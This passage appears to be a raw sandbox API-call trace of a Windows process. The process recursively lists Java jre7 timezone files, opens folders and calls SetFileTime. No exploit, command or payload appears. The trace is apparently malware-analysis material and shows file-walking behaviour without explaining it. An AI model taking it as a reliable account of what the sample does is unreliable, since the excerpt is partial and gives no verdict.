Flags=0x8, Size=0x80) returned 0x1326c48 [0088.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bff08 [0088.727] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1329fd0 [0088.727] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.727] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eucla", cAlternateFileName="")) returned 1 [0088.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.728] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.728] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bff28 [0088.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a058 [0088.729] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.729] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hobart", cAlternateFileName="")) returned 1 [0088.729] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.730] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bff48 [0088.730] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a0e0 [0088.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.731] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lindeman", cAlternateFileName="")) returned 1 [0088.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bff68 [0088.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a168 [0088.732] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.732] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lord_Howe", cAlternateFileName="")) returned 1 [0088.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.733] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.733] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bff88 [0088.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a1f0 [0088.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.734] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Melbourne", cAlternateFileName="")) returned 1 [0088.734] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.734] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.735] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bffa8 [0088.735] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a278 [0088.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.736] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perth", cAlternateFileName="")) returned 1 [0088.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bffc8 [0088.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a300 [0088.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8ac0) returned 0x132a698 [0088.738] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 1 [0088.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bffe8 [0088.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a388 [0088.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 0 [0088.739] GetLastError () returned 0x12 [0088.739] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.739] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adelaide", cAlternateFileName="")) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brisbane", cAlternateFileName="")) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Broken_Hill", cAlternateFileName="")) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currie", cAlternateFileName="")) returned 1 [0088.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Darwin", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eucla", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hobart", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lindeman", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lord_Howe", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Melbourne", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perth", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 1 [0088.740] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sydney", cAlternateFileName="")) returned 0 [0088.740] GetLastError () returned 0x12 [0088.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.740] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CET", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="EET", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0088.741] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Etc", cAlternateFileName="")) returned 1 [0088.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.742] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333160 [0088.743] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333160, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333160, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333160) returned 1 [0088.743] NtClose (Handle=0x164) returned 0x0 [0088.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.744] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0088.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0088.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326c48 [0088.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0008 [0088.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x132a410 [0088.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) 